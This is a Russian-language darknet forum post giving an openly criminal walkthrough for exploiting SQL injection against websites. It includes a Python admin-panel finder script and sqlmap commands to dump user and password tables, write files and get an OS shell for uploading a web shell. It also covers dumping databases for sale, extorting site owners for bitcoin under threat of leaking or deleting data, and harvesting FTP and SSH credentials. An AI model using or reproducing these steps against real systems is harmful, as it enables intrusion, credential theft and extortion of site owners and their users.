Расшариваем SQL уязвимости

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

xacked555

Юзер

xacked555

Юзер
5 Май 2016
249
149
Всем доброго времени суток!
Допустим мы имеем URL penta gon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если не повезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.

Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:

#!/usr/bin/python
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse

class AdminFinder:
separator = ','
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,admin.php,singin.php,gate.php,adminer.php".split(separator)

def __init__(self):
pass

def load(self, url):
if url:
try:
self.response = requests.get(url)
if self.response.status_code == 200 and "page not found" not in self.response.text.lower():
self.url = url
return True
except BaseException as e:
print("Woops! Looks like something broken! %s" % e)
else:
print("There is no spoon, Neo %s" % url)
return False


def find(self, url):
# lol look at that
# if "http" in url and "/" in url and "." in url:
# url = str(url+" ").replace("/ ", "")
for link in self.admins:
self.isLoaded = self.load("%s/%s" % (url, link))
return self.isLoaded

af = AdminFinder()
url = "
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"
print("Got url %s" % url)
af.parsed_uri = urlparse(url)
af.domain = '{uri.scheme}://{uri.netloc}'.format(uri=af.parsed_uri)

if af.find(af.domain):
print "Found: %s" % af.url
Если админка найдена, смотрим бд сайта

sqlmap -u ... --current-db

Затем смотрим таблицы бд:

sqlmap -u ... -D database_name --tables

(заменяем database_name на имя бд)
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:

sqlmap -u ... -D database_name -T users,admin,members,etc. --columns

Если есть поля username и password,
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.

sqlmap -u ... -D database_name -T admin -C username, password,is_admin --dump --threads 3

В таблице смотрим на поле с паролем.

!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.

2. Заливка шелла
Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов.

sqlmap -u ... --file-write=test.txt --file-dest=/tmp/file

На вопрос Do you want to confirm that the source and destination files are same? отвечаем Y. Если пишет files are the same, бинго! У нас есть права на запись. Далее просто ишем путь до сайта и льем полезный код. Прав на запись в папку сайта может не быть.
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.

3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.

sqlmap -u ... --threads 10 -D db --dump -o

4. Шантаж
Тут не помешают навыки соц. инженерии.
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.

5. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя